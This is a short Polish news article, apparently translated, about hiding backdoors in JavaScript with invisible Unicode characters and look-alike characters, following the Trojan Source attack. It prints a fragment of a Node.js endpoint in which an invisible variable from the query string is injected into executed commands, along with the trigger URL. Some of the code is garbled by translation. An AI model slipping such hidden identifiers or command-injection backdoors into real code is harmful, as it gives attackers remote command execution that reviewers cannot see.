Używanie niewidocznych znaków Unicode do ukrywania działań w kodzie JavaScript

W ślad za metodą ataku Trojan Source, która opiera się na wykorzystaniu znaków Unicode zmieniających kolejność wyświetlania tekstu dwukierunkowego, opublikowano kolejną technikę wprowadzania ukrytych działań, mającą zastosowanie do kodu JavaScript. Nowa metoda opiera się na wykorzystaniu znaku Unicode „ㅤ” (kod 0x3164, „HANGUL FILLER”), który należy do kategorii liter, ale nie ma widocznej treści. Kategoria Unicode, do której należy ten znak, została dozwolona od specyfikacji ECMAScript 2015 do użycia w nazwach zmiennych JavaScript, umożliwiając tworzenie niewidocznych zmiennych lub nowych zmiennych, których nie można odróżnić od innych zmiennych w popularnych edytorach kodu, takich jak Notepad++ i VS Code.

Jako przykład podano kod dla platformy Node.js, w którym za pomocą zmiennej składającej się z pojedynczego znaku „ㅤ” ukryty zostaje backdoor pozwalający na wykonanie określonego przez atakującego kodu: app.get('/ network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // w rzeczywistości jest napisane „const { timeout,ㅤ \u3164}” const checkCommands = [ 'ping -c 1 google. com', 'curl -s http://przykład.com/',ㅤ // po przecinku następuje znak \u3164 ];

Na pierwszy rzut oka przez parametr zewnętrzny przekazywana jest tylko wartość limitu czasu, a tablica z poleceniami do wykonania zawiera nieszkodliwą stałą listę. Ale tak naprawdę po zmiennej timeout przypisana jest wartość innej niewidocznej zmiennej o kodzie znaku \u3164, która jest również podstawiana do tablicy wykonywalnych poleceń. Zatem, jeśli taki projekt jest dostępny, osoba atakująca może wysłać żądanie typu „https://host:8080/network_health?%E3%85%A4=command”, aby aktywować backdoora i wykonać swój kod.

Innym przykładem jest znak „ǃ” (KLIKNIĘCIE pęcherzykowe), który może sprawiać wrażenie wykrzyknika. Na przykład wyrażenie „if(environmentǃ=ENV_PROD){” wykonane w Node.js 14 będzie zawsze prawdziwe, ponieważ nie sprawdza różnic, ale przypisuje wartość ENV_PROD do zmiennej „environmentǃ”. Inne wprowadzające w błąd znaki Unicode to „/”, „-”, „+”, „⩵”, „❨”, „⫽”, „꓿” i „∗”.

Źródło: opennet.ru

Dodaj komentarz